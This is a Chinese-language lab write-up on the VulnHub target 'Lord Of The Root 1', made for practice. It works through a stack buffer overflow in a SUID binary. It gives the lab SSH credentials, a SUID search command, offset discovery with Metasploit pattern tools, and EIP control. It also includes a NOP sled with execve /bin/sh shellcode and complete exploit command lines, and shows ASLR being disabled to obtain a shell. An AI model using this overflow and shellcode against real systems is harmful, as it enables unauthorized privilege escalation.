靶机:Lord Of The Root-1
靶机IP:192.168.32.136 (每个人不同)
通过ssh连接,账号: smeagol ,密码: MyPreciousR00t
参考复现文章:FreeBuf网络安全行业门户
靶机下载地址:https://github.com/dds2333/vulnhub_VMs/blob/master/LordOfTheRoot_1.0.1.ova.torrent
核心问题:Nop空间测试ESP,发现esp中填充的值,与实际的值不同,表示不易理解。
寻找目标文件,查看SUID弱点值:
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
难点一:目标文件会变换文件所在位置
或者使用du -b查看字节:
du -b /SECRET/door1/file /SECRET/door2/file /SECRET/door3/file
多次尝试后发现,文件大小为5150的file在变换位置
难点二:存在ASLR防护机制
ldd file,发现内容随机,存在ASLR防护机制
查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!!!
注意:这里的ASLR设置并不等于上文所说root权限下执行的那个py文件,switcher.py每三分钟变换一次值,相当于这是两道防护,让溢出的难度变得更大
将文件拷贝到kali本地进行分析
目标:文件大小为5150的file
base64文件拷贝:
base64 file ----将file二进制文件转换base
然后复制到文本中:base64.txt
cat base64.txt | base64 -d > file ---将文本文件转换回可执行文件
检查MD5和sha1值,比较是否与源文件相同:
md5sum file
file file
安装好环境gdb、pwndbg、peda
1)调试file
gdb -q ./file ---gdb调试file文件
输入200个字符'A',看看会怎么样
./file $(python -c 'print("A" * 200)')
报错segmentation fault,就此找到了溢出点。
2)生成1000位值
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
3)GDB执行值
run Aa0A.........
0x41376641 in ?? ()
查看到错误点在41376641。
4)解析错误点判断偏移量:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41376641
查看到偏移量为171。
5)尝试在偏移量171溢出后情况:
r $(python -c 'print("A" * 171 + "B" * 4)')
EIP: 0x42424242 ('BBBB')
可看到EIP已经被填充BBBB可控制。
6)Nop空间测试ESP
绕过ASLR的一种方法是通过编写一个自动循环脚本(循环攻击,总会攻击到溢出的那个点)来强制堆栈,接下来要放入payload需要进行nop sled来爆破一个空间出来
run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 2000)')
疑惑点1
到此为止,ESP 0xffffc350 ◂— 0x90c290c2 ,我觉得很奇怪,为什么会出现c2?不该是90吗?
参考文章在此步骤的结果,如图:
发现与复现的不一样,他的ESP中的内容为0x90909090,的确是输入的值
解决方案
gdb输入:run $(python -c 'print("A" * 171 + "B" * 4 + "\x90" * 2000)')
结果ESP中的值0x90c290c2
我期望的值为0x90909090
发现原因:对于\x90,在UTF-8编码中,它会被编码成两个字节的序列。具体的UTF-8编码是\xc2\x90。
解决方案
使用Python的bytes
对象来确保生成的字节序列是按照你的期望的方式,即每个\x90
字符都被编码为一个字节。
run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 171 + b"B" * 4 + b"\x90" * 2000)')
在这个命令中,我们使用sys.stdout.buffer.write()
来确保每个字符都被视为一个字节。这样可以保证你得到的字节序列中每个\x90
字符都只是一个字节。
疑惑点2
7)使用peda插件,构造恶意payload
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
8)检查文件是否做了安全措施:
checksec
9)增加nop sled被访问机会
*ESP 0xffffcb20 ◂— 0x90909090
倒着写入地址:ff ff cb 20 -> \x20\cb\xff\xff
run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 171 + b"\x20\xcb\xff\xff" + b"\x90" * 20000 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")')
照理说,这里应该能够得到shell了,但是出现了问题。
我不明白为什么??
猜测:与ASLR防护机制有关
关闭ASLR防护机制后,再次尝试
sudo sysctl -w kernel.randomize_va_space=0
gdb输入:run $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 171 + b"B" * 4 + b"\x90" * 2000)')
*ESP 0xffffcb10 ◂— 0x90909090
退出gdb,输入:
./file $(python3 -c 'import sys; sys.stdout.buffer.write(b"A" * 171 + b"\x10\xcb\xff\xff" + b"\x90" * 20000 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80")')
成功获取shell
问题转化为,开启ASLR防护机制后,该如何绕过??